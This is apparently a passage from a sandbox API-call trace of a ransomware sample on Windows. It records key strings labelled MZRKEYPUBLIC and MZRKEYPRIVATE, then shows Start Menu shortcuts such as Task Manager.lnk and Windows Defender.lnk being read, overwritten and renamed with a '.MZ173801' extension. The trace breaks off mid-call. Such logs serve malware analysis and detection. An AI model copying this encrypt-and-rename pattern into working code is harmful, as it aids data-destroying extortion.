lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0217.445] GetCurrentThreadId () returned 0xab4 [0217.445] GetCurrentThreadId () returned 0xab4 [0217.445] GetCurrentThreadId () returned 0xab4 [0217.445] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Task Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\task manager.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0217.445] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0217.445] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0217.445] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x460 [0217.445] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0217.445] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x460, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x460, lpOverlapped=0x0) returned 1 [0217.447] CloseHandle (hObject=0x330) returned 1 [0217.447] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Task Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\task manager.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0217.449] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x460, lpOverlapped=0x0) returned 1 [0217.450] CloseHandle (hObject=0x330) returned 1 [0217.450] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Task Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\task manager.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Task Manager.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\task manager.lnk.mz173801")) returned 1 [0217.451] GetCurrentThreadId () returned 0xab4 [0217.451] GetCurrentThreadId () returned 0xab4 [0217.451] GetCurrentThreadId () returned 0xab4 [0217.451] GetCurrentThreadId () returned 0xab4 [0217.451] GetCurrentThreadId () returned 0xab4 [0217.451] GetCurrentThreadId () returned 0xab4 [0217.451] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2d621b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe2d621b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe2d621b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x422, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows Defender.lnk", cAlternateFileName="")) returned 1 [0217.451] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0217.451] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.452] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\windows defender.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2d621b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe2d621b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe2d621b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x422)) returned 1 [0217.453] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\windows defender.lnk")) returned 0x20 [0217.454] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk", dwFileAttributes=0x80) returned 1 [0217.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0217.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0217.457] GetCurrentThreadId () returned 0xab4 [0217.457] GetCurrentThreadId () returned 0xab4 [0217.457] GetCurrentThreadId () returned 0xab4 [0217.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0217.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0217.458] GetCurrentThreadId () returned 0xab4 [0217.458] GetCurrentThreadId () returned 0xab4 [0217.458] GetCurrentThreadId () returned 0xab4 [0217.458] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\windows defender.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0217.458] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0217.458] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0217.458] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x422 [0217.458] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0217.458] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x422, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x422, lpOverlapped=0x0) returned 1 [0217.461] CloseHandle (hObject=0x330) returned 1 [0217.462] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\windows defender.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0217.463] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x422, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x422, lpOverlapped=0x0) returned 1 [0217.464] CloseHandle (hObject=0x330) returned 1 [0217.464] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\windows defender.lnk"), 